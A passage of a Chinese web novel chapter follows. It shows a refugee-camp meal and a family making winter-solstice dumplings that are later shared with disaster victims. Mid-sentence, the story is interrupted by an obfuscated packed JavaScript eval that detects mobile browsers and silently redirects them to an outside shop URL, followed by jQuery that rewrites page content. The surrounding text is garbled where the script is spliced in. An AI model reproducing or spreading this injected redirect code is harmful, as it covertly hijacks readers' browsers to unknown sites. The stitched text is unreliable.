他试探着开口，瞧见此前站在那冷得似座雪山的男子，眼底泛着呼之欲出的笑意。


    他举着那肉干也啧啧，“难怪难怪。”


    一旁少年名叫韩珩，他亦没想到今日的两次解围，都来自一家人。


    “多谢。”他撕下一小半肉干，将剩下的包起来，一点点撕着吃。


    “晚上难捱，这个也带上。”任洵将剩下的饭团不由分说便递给他。


    鹰钩鼻的汉子自知他们艰难，上头发的那些米汤面饼，只管人活着，可做不到人人管饱。来的还拖家带口，都得紧着吃，他倒也没馋这一口。


    他前头还大口嚼的肉，眼见越来越少吃得小心起来，用门牙尖着撕下一缕丝细细尝。


    另外两个都像是话不多的，他憋不住，又开口道，“都不容易，你们打哪来的？”


    “琉云县来的。”


    看他吃得脸色发红，韩珩轻轻尝了些，厚实的肉块沾着香料味，不仅浸足每层肉丝里，外面也像是挂着肉绒似的末。


    轻微的辛麻，合着茴香的绵长悠远。


    肉感十足，有风干后的扎实嚼劲，在牙齿间反复摩搓中变得松软，浮出里头的甘香醇厚，最后带着木质的香料味融化在舌根。


    他不由抿了下嘴，下一口尝得更为缓慢。


    “你们这跑出来的以后有什么打算？”那汉子转眼已经撕着吃尽，瞧着少年还慢吞，又问。


    韩珩没说话，出门在外也不是事事都要对答如流，叫旁人看透的。


    没人应，鹰钩鼻汉子也不觉无趣，他是冲着泥塑木头都能说上几句的人，自顾自道，“老天爷不讲情面，一朝变脸，哪哪都说不准。”


    “越是乱，还真不止得有钱。”


    “我老哥哥在外头做些小本买卖，这眼瞧着到腊月了，也该回衣锦还乡的。外头这么一闹，层层关卡一剥，能留层冬衣不冻着腚回来就不错了……”


    他搓着下巴，不甚在意。


    几人都沉默着，光听他一人说。


    吃也吃了，说得口干，鹰钩鼻汉子转头同任洵说着日后必定去禾记吃几顿云云，遂往旁去找地方稍微眯会儿神。


    几人散了，任洵收整好亦去靠着假寐。


    垂着眼，心下却清明。


    此前他就有考虑过，京城来人，任家这未解决完的事。


    穗娘专心经营食肆，他绝不会让人来打扰这份安逸。


    可又要拿什么守？他一介平头百姓，天下事不知，临到头也只有被大势推着走的命数。


    如今淮北流寇横生，危机并存，倘若能立下功……或许能另有出路。


    -


    冬至。


    禾穗同任洵回趟禾家，赶早揉面醒面，等着包饺子。


    自上次去平了林湘婆家的事回来，禾丰兆禾穗父女俩关系就和缓不少，禾穗得空也总送些禾记的吃食。


    禾丰兆晓得禾穗忙，儿孙自有儿孙福，她如今和任洵日子过得好，生意也蒸蒸日上，他也放下心去谋自己的事。


    但话如此说，做父亲的怎会一点都不挂念女儿呢。


    屋里亮堂，几个影子来来去去忙碌着。


    温润的白面团子落在案板上，正经禾穗的手分成相等的小剂子。


    另一边刀而有力的落下，发出“笃笃”声响，刀面上黏着碎肉，贴着砧板上横着一抹，任洵道：“还有什么要切的？”


    “差不多了。”禾穗擦了把手走过去瞧，肥瘦相间的猪肉，手工剁的口感会更扎实适口。


    调好味再淋些清水，再顺着一个方向打上劲，水都吃透进肉里，馅稍润些不至于干巴。


    备着的茴香苗已经切碎伴上香油，瞧着油亮亮的，这一步是为了锁住茴香的香味。待茴香和肉馅拌匀，叫油这么一裹，就是锁住了香气和水分。


    再上锅蒸出来，每一口薄又韧的饺子皮里都裹着丰腴鲜美，咬开来，稍不留神里头浸润的汤汁便涌出来叫人猝不及防。


    禾穗调了两个馅儿，一荤一素。


    荤馅儿要加水，素馅得控着水。


    木耳、虾皮、韭菜、粉丝攥干水分，淋些葱油提升香味。翠白红褐的一大钵，禾穗调味时还抖了些鲜虾粉进去。


    收拾好了一转头，屋里另外两人正埋头擀皮。


    禾丰兆一手抻着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16907087|185504||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    皮，一手擀面杖，小剂子旋成圆，边缘薄中间略厚。在看眼任洵，直推直上的饺子皮。


    寻常做菜还瞧不出来，这种面□□细手上功夫就显出来不行了。


    禾穗挑眉，“爹，你这手艺可比任洵强不少。”


    “从前你等着吃，不也是你娘调馅儿，我帮着擀皮？”禾丰兆笑着，他眼角轻褶也被这片撒下的暖黄光晕柔和。


    他垂着头手下一张张饺子皮绽开，任洵学着他姿势捏着皮几转却擀不出圆来，他便上手。


    “得用巧劲，这么着顺，外头用劲里头收着，皮薄馅儿大，中间要不厚实可兜不住。”


    禾穗看着两人教学，捡着皮?些馅儿放中央，一收口两边儿一捏一挤，就成了。


    任洵好学也逐渐上手，禾丰兆赶了几组也来帮着包。


    弯月样的饺子码上盖帘，不肖一会儿就整齐上锅。


    雾气蒸腾翻涌，锅底水声涌动。外头天渐暗了，靠近灶边的瓦罐上凝着层薄薄的水雾。


    一家烟火，热腾腾的饺子上桌。


    四副碗筷，一杯酒搁在无人的空位前，有声音似乎穿透了今夕。


    “你们要醋不要？”


    ……


    饺子包得多，给邻着点冯婶分了些，禾穗和任洵吃完同禾丰兆告别，将余下便带去赈灾棚那边。


    “还是禾娘子待我不薄！今日还来对了！”


    贺织亦是来送吃食的，可瞧见禾穗带来的饺子便转眼将自家食盒塞给梁秋实。


    可一掂量便发觉不少。


    “这是……”


    梁秋实探去，将两个食盒摆好，看了眼贺织，“你不是吃了来的。”


    “禾娘子是给灾民带的？”


    禾穗点头，“略尽绵薄之力，还得劳烦你们帮忙分分，北市这片约莫够数的。”


    “你们的也有，不过……若是喜欢往后来禾记不收钱。”


    这次不等梁秋实开口贺织里连忙打住，“娘子你将我们当成什么人了，我可不至于馋到那个份上。”


    “今日冬至，能在他乡吃上饺子也算是个慰籍。”


    “我这便去！”